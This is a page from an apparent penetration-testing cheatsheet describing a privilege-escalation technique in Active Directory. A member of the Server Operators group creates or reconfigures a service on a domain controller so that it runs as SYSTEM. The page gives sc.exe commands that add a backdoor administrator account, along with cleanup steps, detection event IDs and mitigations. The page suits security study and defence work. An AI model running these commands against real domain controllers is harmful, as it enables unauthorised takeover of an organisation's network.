AD^:Active Directory

Attack #51 — Abusing Server Operators Group

sc.exe \\DC01 create evilsvc binPath= "cmd.exe /c net user hacker P@ss123! /add && net localgroup Administrators hacker /add" start= auto sc.exe \\DC01…

advancedupdated 2026-08-10PowerShell

🟣 Attack #51 — Abusing Server Operators Group


📖 How It Works

Server Operators can log on to Domain Controllers, start/stop services, manage shared resources, and backup/restore files. The critical escalation path: Server Operators can modify and create Windows services — allowing them to create a malicious service that runs as SYSTEM, achieving SYSTEM-level access on a DC.


⚙️ Prerequisites

RequirementDetail
Membership in Server OperatorsCan manage services on DCs

💻 Full Commands

# ── Create a malicious service ────────────────────────────────────────────────
sc.exe \\DC01 create evilsvc binPath= "cmd.exe /c net user hacker P@ss123! /add && net localgroup Administrators hacker /add" start= auto
sc.exe \\DC01 start evilsvc

# ── Or modify an existing service ─────────────────────────────────────────────
# Find a stoppable service:
sc.exe \\DC01 query type=own | findstr SERVICE_NAME
sc.exe \\DC01 config VSS binPath= "cmd.exe /c net localgroup Administrators low_user /add"
sc.exe \\DC01 stop VSS
sc.exe \\DC01 start VSS

# ── Cleanup ───────────────────────────────────────────────────────────────────
sc.exe \\DC01 delete evilsvc
# Or restore the original binPath

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
7045System Log (DC)New service installed with suspicious binPath
4697Security Log (DC)Service installation
4688Security Log (DC)Process creation from service

🔗 Attack Chain Context

[Server Operators] ──→ Service manipulation → SYSTEM on DC
         │
         ├──→ 🔗 Create/modify service → run as SYSTEM → DCSync
         └──→ 💀 Defeated by: empty Server Operators group, monitor 7045

✅ Attack #51 — Server Operators complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.